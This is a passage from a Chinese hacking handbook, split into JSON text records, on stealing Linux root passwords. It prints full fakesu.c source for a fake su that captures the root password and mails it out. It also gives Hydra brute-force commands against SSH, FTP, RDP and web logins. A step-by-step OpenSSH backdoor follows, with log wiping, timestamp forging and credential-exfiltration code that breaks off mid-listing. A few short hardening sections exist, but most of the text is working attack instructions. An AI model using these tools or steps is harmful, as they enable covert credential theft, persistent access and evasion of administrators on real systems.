    {"text": "01 打开日志管理器 依次单击“开始”→“程序”→“管理工具”→“事件查看器”选项，如图1-93所示。 图1-93 打开事件查看器 02 设置日志属性 如图1-94所示，在“系统 属性”对话框的“常规”选项卡中可以对日志的大小、时间进行设置，如果发现日志记录不是在这个范围内，那么系统可能就被人“闯入”，而且修改了日志。 03 使用筛选器记录日志审核结果 打开筛选器，对日志中的事件类型等进行筛选。"},
    {"text": "图1-94 修改日志默认设置 图1-95 使用筛选器记录事件 属性设置好后，就可以查看日志了，从中我们可以发现入侵者的蛛丝马迹。 为了预防入侵者对日志的破坏，我们要定期对日志进行备份，如果有需要，还可以恢复之前的日志文件。"},
    {"text": "未知 第2章 Linux操作系统密码的获取与破解 在网络渗透过程中，经常碰到通过Struts等漏洞获取WebShell及系统最高管理root权限的情况。但由于操作系统设置了强悍的密码策略等，即使入侵者获取了shadow文件中的root密码加密值，也会因为Linux密码较难破解而放弃。 本章着重介绍Linux操作系统密码的获取与破解，并通过实际案例图文并茂地展现其过程，使读者看完这些案例就能很快上手。 本章主要内容 使用fakesu记录root用户的密码 暴力破解工具Hydra Linux操作系统root账号密码的获取 安全设置Linux操作系统的密码 Linux OpenSSH后门获取root密码"},
    {"text": "未知 2.1 使用fakesu记录root用户的密码 在Linux渗透中，比较容易获取服务器上网站的WebShell。就目前的环境来说，Linux服务器提权比较困难。那么，如何在获取WebShell权限的情况下，通过WebShell反弹到指定了独立IP地址的服务器上，通过反弹的Shell安装程序捕获root用户的密码？本节就目前已知的记录root用户密码的方法进行探讨。 2.1.1 使用kpr-fakesu.c程序记录root用户的密码 kpr-fakesu.c程序的新版本为0.9beta167，它是由koper开发的（koper@linuxmail.org），程序代码如下。 #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]){ FILE *fp; char *user; char *pass; char filex[100]; char clean[100]; sprintf(filex,\"/var/tmp/.mail\"); sprintf(clean,\"rm -rf /var/tmp/.su;mv -f /home/webshell/.wgetrc /home/ webshell/ .bash_profile\"); if(argc==1) user=\"root\"; if(argc==2) user=argv[1]; if(argc>2){ if(strcmp(argv[1], \"-l\")==0) user=argv[2]; else user=argv[1];} fprintf(stdout,\"Password: \"); pass=getpass (\"\"); system(\"sleep 3\"); fprintf(stdout,\"su: Authentication failure\\nSorry.\\n\"); if ((fp=fopen(filex,\"w\")) != NULL) { fprintf(fp, \"%s:%s\\n\", user, pass); fclose(fp); } system(clean); system(\"rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su\"); system(\"uname -a >> /var/tmp/.mail; cat /var/tmp/.mail | mail admin@antian365.com\"); } 2.1.2 运行前必须修改程序 运行该程序前，必须对程序进行修改，否则即使执行该程序也不会得到结果。在上面的程序代码中有3个地方需要修改，具体如下。 （1）修改密码记录的文件名称 在代码中修改sprintf(filex,\"/var/tmp/.mail\")函数。在该函数中默认生成的密码记录文件的后缀是“.mail”，可以将“.mail”修改为任意文件后缀（以上代码中共有3处需要修改，一定要将这3处全部修改）。 （2）修改反弹Shell主目录 将“sprintf(clean,\"rm -rf/var/tmp/.su; mv -f /home/webshell/.wgetrc/home/webshell /.bash_profile\");”中的“/home/webshell”修改为实际用户的主目录名称（以上代码中有2处需要修改）。 （3）修改邮件发送地址 将“system(\"uname -a >> /var/tmp/.mail; cat /var/tmp/.mail | mail admin@antian 365.com\");”中的邮件地址修改为能够接收邮件的邮件地址。如果不需要接收邮件，可以将该行代码删除。 2.1.3 运行键盘记录程序 下面我们开始运行键盘记录程序。 01 将fakesu.c程序复制到用户目录下 如果具备SSH用户权限，可以通过SSH Secure Shell的文件传输功能将本地文件上传到服务器，如图2-1所示。如果具备WebShell权限，也可以通过WebShell将fakesu.c程序上传到服务器。如果是反弹的DOS命令提示符，则可以通过命令“wget http:// www.somesite.com/ fakesu.c”将其下载到服务器。 图2-1 将代码上传到服务器 02 再次检查代码 使用“cat fakesu.c”命令查看源程序代码，确认2.1.2节提及的3个地方都已正确修改，如图2-2所示。 图2-2 执行前检查源代码 03 执行命令 执行如下命令。 chmod 777 fakesu.c gcc -o .su fakesu.c; rm -rf fakesu.c mv .su /var/tmp/.su cd ~ cp .bash_profile .wgetrc cp .bash_profile .wgetrb echo \"alias su=/var/tmp/.su\">>.bash_profile logout “Chmod 777 fakesu.c”表示使程序“fakesu.c”具有最高权限。 “gcc -o .su fakesu.c; rm -rf fakesu.c”用于编译fakesu.c程序，生成.su文件，同时彻底删除fakesu.c程序。“rm -rf”用于在Linux中彻底删除文件及目录（不管目录中是否存在文件）。 “cd ~”用于转到当前Shell的主目录。 “cp .bash_profile .wgetrb”用于将.bash_profile文件备份成.wgetrb文件。 “echo \"alias su=/var/tmp/.su\">>.bash_profile”用于将用户登录的su命令指向“/var/tmp/.su”命令。 “Logout”用于注销当前SSH Secure Shell登录命令。如果是反弹Shell，可以使用“exit”命令。执行命令后，如图2-3所示，编译fakesu.c程序时可能会出现警告信息“webadm.c:19:警告:赋值时将整数赋给指针，未作类型转换”，该警告信息不会影响程序的正常运行。 图2-3 执行命令 04 查看密码记录文件 根据fakesu.c程序中设置的密码记录文件可知，在本例中记录的文件为“/var/tmp/.pwds”。该文件默认为隐藏属性，可以直接通过命令“cat /var/tmp/.pwds”查看，如图2-4所示，记录的root用户的密码为“simeon”。 图2-4 获取root用户的密码 05 删除安装文件 当fakesu.c程序成功记录root用户的密码后，需要删除安装的程序文件，否则时间久了容易引起管理员的警觉。可以使用以下命令删除程序文件。 rm -rf /var/tmp/.su cp .wgetrb .bash_profile rm -rf .wgetrc rm -rf /var/tmp/.pwds"},
    {"text": "2.2 暴力破解工具Hydra Hydra是世界顶级的密码暴力破解工具，支持几乎所有协议的在线密码破解，功能强大，密码能否被破解的关键取决于破解字典是否足够强大。"},
    {"text": "在网络安全渗透过程中，Hydra是一款必备的测试工具，配合社工库进行社会工程学攻击，有时会获得意想不到的效果。 2.2.1 Hydra简介 Hydra是著名黑客组织thc开发的一款开源的暴力密码破解工具，可以在线破解多种密码，目前已经被Backtrack和kali等渗透平台收录。"},
    {"text": "Hydra的最新版本为Hydra 7.6，下载地址为http://www.thc.org/releases/hydra- 7.6.tar.gz，它支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM- POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH（v1和v2）、Subversion、Teamspeak（TS2）、Telnet、VMware-Auth、VNC、XMPP等类型密码的破解。"},
    {"text": "2.2.2 Hydra的安装与使用 Hydra可以在Debian和Ubuntu等环境下安装和使用。 1.在Debian和Ubuntu环境下安装Hydra 如果是Debian和Ubuntu发行版，会自带Hydra，可直接使用apt-get命令在线安装，命令如下。"},
    {"text": "sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra 如果要使用Redhat/Fedora发行版的源码包编译安装，需要先安装相关依赖包，命令如下。 yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel 2.安装CentOS CentOS的安装命令如下。"},
    {"text": "# tar zxvf hydra-7.6-src.tar.gz # cd hydra-6.0-src # ./configure # make # make install 3.使用Hydra BT5和kali都默认安装了Hydra。"},
    {"text": "在kali中，依次单击“kali Linux”→“Password Attacks”→“Online Attacks”→“hydra”选项即可打开Hydra。 在CentOS终端中，输入命令“/usr/local/bin/hydra”即可打开该暴力破解工具。"},
    {"text": "除此之外，还可以通过“hydra-wizard.sh”命令进行向导式设置来密码破解，如图2-5所示。 图2-5 使用hydra-wizard.sh进行密码破解 4.安装libssh 如果不安装libssh，运行Hydra破解账号时会出现错误。"},
    {"text": "yum install cmake wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz tar zxf libssh-0.4.8.tar.gz cd libssh-0.4.8 mkdir build cd build cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON .. make make install cd /test/ssh/hydra-7.6 //此为下载Hydar并解压的目录 make clean ./configure make make install 图2-6 libssh模块缺少错误 5.Hydra参数详细说明 Hydra命令示例如下。"},
    {"text": "hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] -l LOGIN：指定破解的用户名称，对特定用户破解。 -L FILE：从文件中加载用户名进行破解。"},
    {"text": "service：指定服务名，支持的服务和协议包括Telnet、FTP、POP3[-ntlm]、IMAP[-ntlm]、SMB、SMB NT、http[s]-{head|get}、http-{get|post}-form、http-proxy、Cisco、Cisco-Enable、VNC、LDAP2、LDAP3、MSSQL、MySQL、Oracle-Listener、Postgres、NNTP、Socks5、REXEC、Rlogin、PCNFS、SNMP、RSH、CVS、SVN、ICQ、SAPR3、SSH2、SMTP-Auth[-ntlm]、pcAnywhere、TeamSpeak、SIP、Vmauthd、Firebird、NCP、AFP等。"},
    {"text": "1.破解SSH账号 破解SSH账号有两种方式，一种是指定账号破解，另一种是指定用户列表破解，命令如下。 hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh 例如，输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”，对IP地址为192.168.44.139的root账号密码进行破解，如图2-7所示，破解成功后显示其详细信息。"},
    {"text": "输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh”，将扫描结果保存在save.log文件中，使用“cat save.log”命令查看扫描结果，如图2-8所示。"},
    {"text": "图2-7 破解SSH账号 图2-8 查看破解日志 2.破解FTP账号 （1）破解指定用户名密码 hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV （2）批量破解FTP账号和密码 hydra -L list_user -P list_password 192.168.56.101 ftp -V 对FTP服务器（192.168.56.101）进行密码破解，如图2-9所示。 图2-9 对FTP密码进行破解 3.GET方式提交，破解Web登录 hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php 4.POST方式提交，破解Web登录 （1）hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form \"/admin/login.php: username= ^USER^ &password=^PASS^&submit=login:sorry password\" hydra -L list_user -P list_password 192.168.0.115 http-post-form \"member.php?mod=logging&amp;action=login&amp;loginsubmit=yes&amp;infloat=yes&amp;lssubmi t=yes&amp;inajax=1:fastloginfield=username&amp;username=^USER^&amp;password=^PASS^&amp;q uickforward=yes&amp;handlekey=ls:Login failed\" –V 以上示例表示对192.168.0.115进行破解，需要定义登录的URL，以及设置登录验证和错误登录标记，效果如图2-10所示。 图2-10 对HTTP进行暴力破解 member.php?mod=logging&amp;action=login&amp;loginsubmit=yes&amp;infloat=yes&amp;lssubmit =yes&amp;inajax=1 fastloginfield=username&amp;username=^USER^&amp;password=^PASS^&amp;quickforward=yes &amp;handlekey=ls Login failed （2）对admin密码进行破解 hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.0.115 http-post-form \"login.php:id=^USER^&amp;passwd=^PASS^:<title>wrong username or password</title>\" “-t”表示同时线程数为3；"},
    {"text": "5.破解HTTPS hydra -m /index.php -l muts -P pass.txt 192.168.0.115 https 6.破解teamspeak hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak 7.破解Cisco hydra -P pass.txt 192.168.0.115 cisco hydra -m cloud -P pass.txt 192.168.0.115 cisco-enable 8.破解SMB hydra -l administrator -P pass.txt 192.168.0.115 smb 9.破解POP3 hydra -l muts -P pass.txt my.pop3.mail pop3 10.破解远程终端账号 （1）破解管理员账号 hydra ip rdp -l administrator -P pass.txt -V （2）批量破解账号 hydra -s 3389 192.168.44.138 rdp -L user.txt -P pwd.txt –V 破解效果如图2-11所示。 图2-11 破解3389账号 11.破解HTTP-Proxy hydra -l admin -P pass.txt http-proxy://192.168.0.115 12.破解IMAP hydra -L user.txt -p secret 192.168.0.115 imap PLAIN hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN 参考文章 http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/ http://www.aldeid.com/wiki/Thc-hydra#Install_Hydra"},
    {"text": "未知 2.3 Linux操作系统root账号密码的获取 Linux操作系统由于其开源性、低成本等特点，在商业上运用越来越多，很多公司都采用LAMP（Linux+Apache+MySQL+PHP）典型架构。"},
    {"text": "在Windows中，不论设置多么复杂的密码，都可以通过彩虹表、键盘记录、mimikatz_trunk域名注入获取密码等技术获取包括Windows 2008 Server在内的所有操作系统密码。"},
    {"text": "在获得网站WebShell权限的前提下，通过提权等方法可以获得系统权限，通过查看“/etc/shadow”文件的内容可以获取Linux操作系统的用户名和加密密码，但获取最高权限root用户的密码就比较困难。"},
    {"text": "本节的主要研究内容包括：使用普通用户权限记录root密码，使用SSH后门方法记录root密码，安装Rootkit后门程序记录root账号密码，通过John工具破解shadow密码，使用Sulog后门记录SU密码。"},
    {"text": "2.3.1 Linux密码的构成 在Linux系统中，涉及系统登录密码的重要文件有两个，分别是“/etc/passwd”和“/etc/shadow”，第1个文件记录用户信息，第2个文件真正保存用户密码信息。"},
    {"text": "“/etc/shadow”文件是“/etc/passwd”的影子文件，这个文件并不是由“/etc/passwd”产生的，这两个文件应该是对应互补的。 shadow的内容包括用户名及被加密的密码，以及其他“/etc/passwd”文件中不能包括的信息，如用户的有效期限等。"},
    {"text": "第1字段：用户名（也称为登录名），“/etc/shadow”文件中的用户名和“/etc/passwd”文件中的用户名是相同的，这样就把passwd和shadow中使用的用户记录联系在一起，这个字段是非空的。"},
    {"text": "第7字段：口令过期之后多少天禁用此用户。 此字段表示用户口令作废多少天后系统会禁用此用户，也就是说，系统不再让此用户登录，也不会提示用户过期，而是完全禁用。 第8字段：用户过期日期。 此字段指定了用户作废的天数（从1970年1月1日开始的天数），如果这个字段的值为空，则账号永久可用。"},
    {"text": "某系统root账号在“etc/shadow”文件中的表现方式为“root:$1$kbIAhX/ R$PiLL1U.n6bivtIr4oTi2y0:15377:0:99999:7:::”。"},
    {"text": "2.3.2 Linux密码文件的位置 绝大部分Linux操作系统的密码文件名称为shadow，但也有一些特殊的Linux/UNIX操作系统的密码文件名称为passwd，而且密码文件所在位置也不一样。 下面是一些常见Linux系统的密码文件位置。"},
    {"text": "1.查看密码的加密算法 Linux账户的密码加密后存放于“/etc/shadow”文件中。 Linux操作系统的密码采用的加密方式，取决于“/etc/pam.d/system-auth”或者“/etc/pam.d/passwd”文件中的定义，通过“more/etc/pam.d/ system-auth”或者“authconfig --test | grep hashing”命令可以获取操作系统使用的加密算法，目前有SHA-256、SHA-512和MD5加密算法。 在Red Hat Enterprise Linux Server中，可以通过“authconfig --test | grep hashing”命令获取当前系统账号的密码加密算法，如图2-12所示。 图2-12 获取Red Hat Enterprise Linux Server系统账号的加密算法 2.Linux/UNIX采用5种加密算法 Linux/UNIX操作系统目前采用5种加密算法，可以通过加密后的密码值来识别，主要是通过账号后面的$X进行判断。"},
    {"text": "$1表示MD5加密算法，$2表示使用Blowfish加密算法，$5表示使用SHA-256加密算法，$6表示使用SHA-512加密算法，其余为标准的DES。 例如，“root:$1$kbIAhX/R$PiLL1U.n6bivtIr4oTi2y0:15377:0:99999:7:::”的加密算法为MD5。"},
    {"text": "3.Linux密码操作 对于Linux密码操作，主要有增加、删除和修改，第一次添加用户时需要设定一个密码，修改密码使用“passwd”，删除用户时系统将自动删除设置的密码。"},
    {"text": "1.键盘记录获取法 根据操作系统内核版本，编译一个修改过的SSH或者内核键盘记录软件，早期的键盘记录软件有Keylogger、Keylog等。 在root账号下通过编译键盘记录程序或者执行编译好的键盘记录程序，当root用户登录时，程序自动捕获root账号输入的密码。"},
    {"text": "如果被控服务器是Linux服务器，目前通过开源软件比较难抓取SSH的密码（需要进行中间人攻击，Dsniff不具备中间人攻击的能力，而Windows下的Cain已实现伪造证书进行中间人攻击），所以，可以变通地通过抓取其他服务的密码获取root密码，如FTP、SMB。"},
    {"text": "（1）fakesu.c程序法 网上使用的kpr-fakesu.c（简称fakesu.c）程序由koper（koper@linuxmail.org）开发，程序最新版本为V0.9beta167。"},
    {"text": "该程序是在WebShell权限或者拥有普通账号的权限下，通过修改该程序中的配置文件，当前用户使用SU命令时，捕获具有root账号权限的密码，如图2-13所示。"},
    {"text": "1.在线网站破解法 通过提权或者其他方法获取root权限后，通过查看“/etc/shadow”文件的内容，将加密的密文提取出来，访问cmd5网站进行破解。 需要注意的是，提取的密文为第2字段，如“root:$1$kbIAhX/R$PiLL1U.n6bivtIr4oTi2y0:15377:0:99999:7:::”中的密文为“$1$kbIAhX/R$PiLL1U.n6bivtIr4oTi2y0”，将其放入cmd5网站进行破解即可，如图2-14所示。"},
    {"text": "图2-14 通过cmd5网站在线破解Linux密码 2.John软件破解法 John the Ripper Password Cracker（简称“John”）是一款Linux专用密码破解工具，网站地址为http://www.openwall.com/john/。"},
    {"text": "SSH是一项创建在应用层和传输层基础上的安全协议，为计算机上的Shell（壳层）提供安全的传输和使用环境。 SSH是目前较可靠的、专为远程登录会话和其他网络服务提供安全性的协议。 利用SSH协议可以有效防止远程管理过程中的信息泄露问题。 通过SSH可以对所有传输的数据进行加密，也能够防止DNS欺骗和IP地址欺骗。 SSH是Linux下最常见的一个服务，绝大多数操作系统安装后都会配置该服务。 通过连接SSH服务远程管理计算机，其默认端口为22。"},
    {"text": "Freebuf网站投稿者H3lvin的研究表明，10年前，一台服务器放在网络上，大概数周的时间才会被黑客光顾，而现在，一台服务器在网络中几个小时之内就会有黑客尝试攻击，且SSH暴力破解攻击经久不衰。"},
    {"text": "thc-hydra的最早版本为7.6（下载地址为https://www.thc.org/thc-hydra/），是一款著名的暴力破解工具，其常见SSH暴力破解命令为“hydra -l root -P /home/Linux/ passwd.dic -e ns -f -vV target_ip ssh2”。"},
    {"text": "SSH账号脚本暴力工具通过编程模拟实际登录进行暴力破解，常见的有theRandy撰写的SSH暴力破解程序，在Linux下通过执行“python sshCommand2.py -H 10.10.1.36 -u root -F dictionary. txt”命令对IP地址为10.10.1.36的服务器的root账号进行密码暴力破解。"},
    {"text": "2.3.6 Linux root账号密码破解防范技术 针对可能出现的获取Linux root账号的技术，可以通过安全防范技术和安全规范等进行防范，本节给出一些可供参考的方法和策略。 1.安全技术防范 （1）设置强健的账号密码安全策略 针对获取shadow值后进行密码破解，可以采取对系统普通账号和root账号设置强健的密码安全策略，定期执行安全检测和维护的方法来防范。"},
    {"text": "（2）定期升级系统补丁和应用程序补丁 对高风险业务程序做降权处理，尽量以低权限运行，如JBoss和Structs等，确保即使出现高危漏洞也不会危及root权限。 及时更新系统补丁和应用程序补丁，关注安全业界高危漏洞，防范通过Web应用程序漏洞直接获取root权限。 （3）定期对系统进行Rootkit专用检测 针对Rootkit程序可以通过Rootkit检测程序来防范，互联网上有Rootkit Hunter和Chkrootkit两款开源软件，可以检测绝大部分已知的Rootkit、嗅探和后门程序。 2.SSH账号防暴力破解 有关防范SSH账号被暴力破解，网上已经有很多方法，如修改SSH默认端口、采用RSA公钥认证、使用IPTables脚本、使用SSHD日志过滤、使用tcp_wrappers过滤及使用knockd等方法。"},
    {"text": "3.建立完善的入侵应急响应制度 对重点系统和重要系统定期聘请专业安全公司进行系统风险评估和安全检测，发现系统存在的漏洞和弱点，针对这些弱点和漏洞进行改进。 同时，建立入侵应急响应制度，针对各种可能出现的入侵情况，建立相应的处理措施。"},
    {"text": "2.3.7 小结 本节介绍了Linux密码的基本原理，以及常见的4种获取Linux root密码的方法，最后针对这些可能获取Linux root账号的方法给出了安全防范技术和防范策略。 通过这些安全技术和策略，可以大大降低系统被攻击后丢失最高root账号权限的风险，对Linux操作系统的安全维护和检测具有一定的参考价值。"},
    {"text": "未知 2.4 安全设置Linux操作系统的密码 在早期的Linux操作系统中，“/etc/passwd”文件包含系统中每个用户的信息。用户的口令虽然经过一定的数字和逻辑算法后作为一个运算结果（可见字符串）被放到passwd文件中，但加密强度并不大。于是，早期的黑客只要拿到“/etc/passwd”文件，就意味着系统已经攻破一半了。后来，随着安全级别的提高，出现了将passwd文件中的口令单独加密的情况，加密后的结果和其他辅助信息存储在shadow文件中。至于采用何种保存形式和加密算法，可以通过 /usr/sbin/authconfig程序设置。用户登录时输入的口令经计算后与“/etc/passwd”和“/etc/shadow”中的结果进行比较，符合则允许登录，否则拒绝登录。 一个强壮、有效的口令应当至少包含8个字符。不要使用个人信息（如生日、名字、用户名、电话号码等）作为口令，计算机型号等尽量不要出现在密码中，普通的英语单词也不适合作为口令（因为可以采用字典攻击法）。口令中最好有一些非字母字符（如数字、标点符号、控制字符等），尽量不要将口令写在纸上或存放在计算机文件中。设置口令的一个好方法是将不相关的字母和数字或控制字符相连，长度不少于8位。 2.4.1 修改login.defs中的参数 为了强制用户指定足够强壮的密码，需要修改“/etc/login.defs”文件的PASS_ MIN_LEN参数（口令最小长度）。同时，应限制口令的使用时间，保证定期更换口令，建议修改PASS_MIN_DAYS参数（口令使用时间）。login.defs文件的参数设置如图2-15所示。 图2-15 login.defs文件的参数设置 2.4.2 设置加密算法 Linux账户的密码加密后存放于“/etc/shadow”文件中。Red Hat Enterprise Linux默认使用MD5算法，但目前这个算法已经很不安全了。很多经典的黑客教程给出的方法都是拿到shadow文件后破解root用户的密码，如果能用更难破解的SHA算法加密密码无疑可以提高服务器的安全性。 以下方法综合了http://www.cyberciti.biz/faq/rhel-centos-fedora-linux-upgrading-password-hashing/和http://kbase.redhat.com/faq/docs/DOC-15806两篇文章的内容，且针对Red Hat Enterprise Linux 5.2以上版本。 显示当前密码加密算法，代码如下，输出“password hashing algorithm is md5”。 # authconfig --test | grep hashing 设置使用SHA512算法，代码如下。 # authconfig --passalgo=SHA512 --update 在笔者的Red Hat Enterprise Linux 5.3中，提示“unknown algorithm sha512”，使用了SHA512算法，原因不明。再次显示，就更改为SHA256算法。 最后，对所有用户都需要重新设置密码才能生效。可以使用“# chage -d 0 userName”命令强制所有用户在下次登录时修改密码。 在笔者使用的Arch Linux中，设置方法与以上稍有不同，具体如下（参考了http:// wiki.archlinux.org/index.php/SHA_Passwords的内容）。 修改“/etc/pam.d/passwd”文件，代码如下。 #%PAM-1.0 #password required pam_cracklib.so difok=2 minlen=8 dcredit=2 ocredit=2 retry=3 #password required pam_unix.so md5 shadow use_authtok password required pam_unix.so md5 shadow nullok 把最后一行的md5值用SHA256算法替换。 然后，修改“/etc/default/passwd”文件，将“CRYPT=des”修改为“CRYPT=sha256”。最后，强制所有用户重新修改密码。 2.4.3 破解Linux密码 Linux使用的是DES（加密函数式是Crypt）或MD5（函数式是Md）加密算法，由于计算量非常大，所以很难被逆向或破解。DES口令的密文是由13个ASCII字符组成的字符串，而MD5口令密文的起始字符总是“$1$”。 如图2-16所示是一个被攻陷的红帽系列的Linux操作系统，入侵者远程溢出服务器后获得了一个root权限的登录界面。 图2-16 被入侵的Linux操作系统 如何获取root用户的密码呢？入侵者打开了“/etc/passwd”文件，如图2-17所示。 图2-17 查看etc/passwd文件 看来，主机的账户使用了shadow加密。继续查看“/etc/shadow”文件，如图2-18所示，“root”行的冒号后面就是加密后的密码。 图2-18 获取加密的密码字符串 现在就可以开始破解了。 破解Linux口令的工具很多，如John the Ripper、Crack by Alex Muffett和Cracker Jack等，其中John the Ripper的功能最为强大，速度也最快。 将“/etc/shadow”文件下载到本地，先使用John the Ripper的简单模式尝试一下，但没有得到结果，如图2-19所示。 图2-19 使用John the Ripper破解密码 加载一个字典，看看情况。这里使用“-w=1.txt”命令指定字典文件。很快，root密码被破解了，结果是“bigapple”，如图2-20所示。 图2-20 成功破解密码"},
    {"text": "未知 2.5 Linux OpenSSH后门获取root密码 相对于Windows操作系统，Linux操作系统的密码较难获取，而很多Linux服务器都配置了OpenSSH服务。 在获取root权限的情况下，可以通过修改或者更新OpenSSH代码等方法，截取并保存其SSH登录账号和密码，甚至可以留下一个隐形的后门，达到长期控制Linux服务器的目的。 很多入侵者在攻破一个Linux系统后，都会在系统中留下后门，用OpenSSH留后门是入侵者的惯用方式之一。 OpenSSH后门比较难检测，本节将对如何添加及防范OpenSSH后门进行探讨。"},
    {"text": "很多人误认为OpenSSH与OpenSSL有关联，但实际上这两个计划有不同的目的和不同的发展团队，名称相近只是因为两者有同样的发展目标──提供开放源代码的加密通信软件。"},
    {"text": "OpenSSH是OpenBSD的子计划，其官方网站地址为http://www.openssh.com/。 OpenSSH的各个版本可以到其官网下载。 另外笔者推荐一个下载地址：http://ftp5.eu. openbsd.org/ ftp/pub/OpenBSD/OpenSSH/。"},
    {"text": "OpenSSH提供了服务端后台程序和客户端工具，用来加密远程控件和文件传输过程中的数据，并由此来代替原来的类似服务。 OpenSSH是通过计算机网络使用SSH加密通信的实现，是取代由SSH Communications Security提供的商用版本的开放源代码方案。 在OpenSSH服务中，sshd是一个典型的独立守护进程，OpenSSH服务可以通过“/etc/ssh/sshd_config”文件进行配置。"},
    {"text": "2.5.2 准备工作 01 下载openssh-5.9p1.tar.gz openssh-5.9p1.tar.gz的下载地址为http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz。"},
    {"text": "04 查看SSH当前版本信息 目前网上支持的SSH后门版本为5.9以下。 如图2-21所示，使用“ssh -V”命令获取的OpenSSH版本信息为“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。"},
    {"text": "图2-22 备份SSH原始配置文件 mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 06 解压SSH后门 将sshbd.tgz下载到本地并解压，如图2-23所示，执行以下命令。 tar zxvf sshbd.tgz cd openssh 图2-23 下载并解压SSH后门 如果使用官方安装包openssh-5.9p1进行安装，可以执行以下命令。 tar zxf openssh-5.9p1.tar tar zxf openssh-5.9p1.path.tar cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1 cd openssh-5.9p1 patch < sshbd5.9p1.diff 2.5.3 设置SSH后门的登录密码及其密码记录位置 在OpenSSH目录中找到includes.h文件，运行“vi includes.h”命令修改“define _SECRET_PASSWD”为我们的登录密码，如图2-24所示，默认密码记录日志文件保存在“/usr/local/share/0wn”目录下的slog和clog文件中。"},
    {"text": "./configure –prefix=/usr –sysconfdir=/etc/ssh make &amp;&amp; make install openssh-5.9p1需要使用下面的命令进行配置。 ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 在编译过程中可能会出现“configure: error: *** zlib.h missing – please install first or check config.log”错误。 此时，执行“yum install zlib-devel”和“yum install openssl openssl-devel”命令，安装后再次进行编译即可。 02 重启SSHD服务 执行“/etc/init.d/sshd restart”命令，重启SSHD服务。 03 还原新配置文件为旧配置文件的时间 执行以下命令，使ssh_config和sshd_config文件的修改时间与ssh_config.old和sshd_config.old文件一致。 touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config mtime(modify time)：最后一次修改文件或目录的时间。"},
    {"text": "2.5.5 登录后门并查看记录的密码文件 使用“ssh -l root IP”命令登录服务器，如“ssh -l root 192.168.52.175”。 可以使用root的密码，也可以使用后门设置的密码“995430aaa”进行登录。 然后，访问“/usr/local/ share/0wn”目录，查看其记录的密码日志文件clog和slog，如图2-25所示，可以看到SSH登录和本地root账号登录的密码。"},
    {"text": "export HISTFILE=/dev/null export HISTSIZE=0 cd /etc/httpd/logs/ sed -i ‘/192.168.52.175/d’ access_log* echo >/root/.bash_history //清空操作日志 2.5.6 拓展密码记录方式 前面记录的密码只能在Linux服务器上面看，也就是说，用户必须拥有读取文件的权限，如果没有权限则无法登录服务器。"},
    {"text": "01 接收端ssh.php代码 <?php $username = $_POST['username']; $password = $_POST['password']; $host = $_POST['host']; $port = $_POST['port']; $time=date('Y-m-d H:i:s',time()); if(isset($username) != \"\" || isset($password) !=\"\" || isset($host) != \"\") { $fp = fopen(\"sshlog.txt\",\"a+\"); $result = \"sername:.$username--->:Password:$password----->:Host:$host ----->:port:$port----->:time:$time\"; fwrite($fp,$result); fwrite($fp,\"\\r\\n\"); fclose($fp); } 02 修改auth-passwd.c文件的内容 int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; char *pass[200]; char szres[1024] = {0}; FILE *f; char *findport() { FILE *FTopen; char tempBuf[1024] = {0}; char *Filename = \"/etc/ssh/sshd_config\"; char *Filetext = \"Port\"; if((FTopen = fopen(Filename, \"r\")) == NULL) { return Filetext; } while(fgets(tempBuf, 1024, FTopen) != NULL) { if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; } memset(tempBuf, 0, 1024); } fclose(FTopen); return Filetext; } const char *host = options.host_key_alias ? options.host_key_alias : authctxt->host; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error(\"Permission denied, please try again.\"); snprintf(prompt, sizeof(prompt), \"%.30s@%.128s's password: \", authctxt->server_user, host); password = read_passphrase(prompt, 0); strcpy(pass,password); //截取密码的时候把它复制到自定义的地方，以便调用 packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); 